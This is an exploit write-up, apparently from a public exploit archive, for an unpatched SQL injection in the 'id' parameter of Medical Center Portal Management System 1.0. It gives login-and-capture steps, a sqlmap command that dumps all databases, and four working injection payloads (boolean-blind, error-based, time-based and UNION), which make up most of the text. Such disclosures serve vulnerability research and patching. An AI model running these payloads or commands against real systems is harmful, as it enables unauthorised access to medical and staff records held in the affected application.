Medical Center Portal Management System 1.0 - 'id' SQL Injection

# Exploit Title: Medical Center Portal Management System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-10
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with any verified user credentials

Step 2. Select Staff and select the view icon.

Step 3. You will be redirected to a page like "
http://localhost/pages/emp_searchfrm.php?action=edit & id=1". Or visit any
page that has the "id" parameter. Capture the current page request in
burpsuite

Step 4. Save request and run sqlmap on request file using command " sqlmap
-r request -p id --time-sec=5 --dbs ".

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=edit & id=(SELECT (CASE WHEN (7289=7289) THEN 22 ELSE
(SELECT 4035 UNION SELECT 6415) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: action=edit & id=22 AND (SELECT 9743 FROM(SELECT
COUNT(*),CONCAT(0x716b6a7871,(SELECT
(ELT(9743=9743,1))),0x71706b7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=edit & id=22 AND (SELECT 4861 FROM
(SELECT(SLEEP(5)))xiXm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: action=edit & id=22 UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x716b6a7871,0x4b445769664f765073644975666f6e50615968654f6b626259447767746c67516949686365597672,0x71706b7071),NULL,NULL,NULL,NULL--
-
---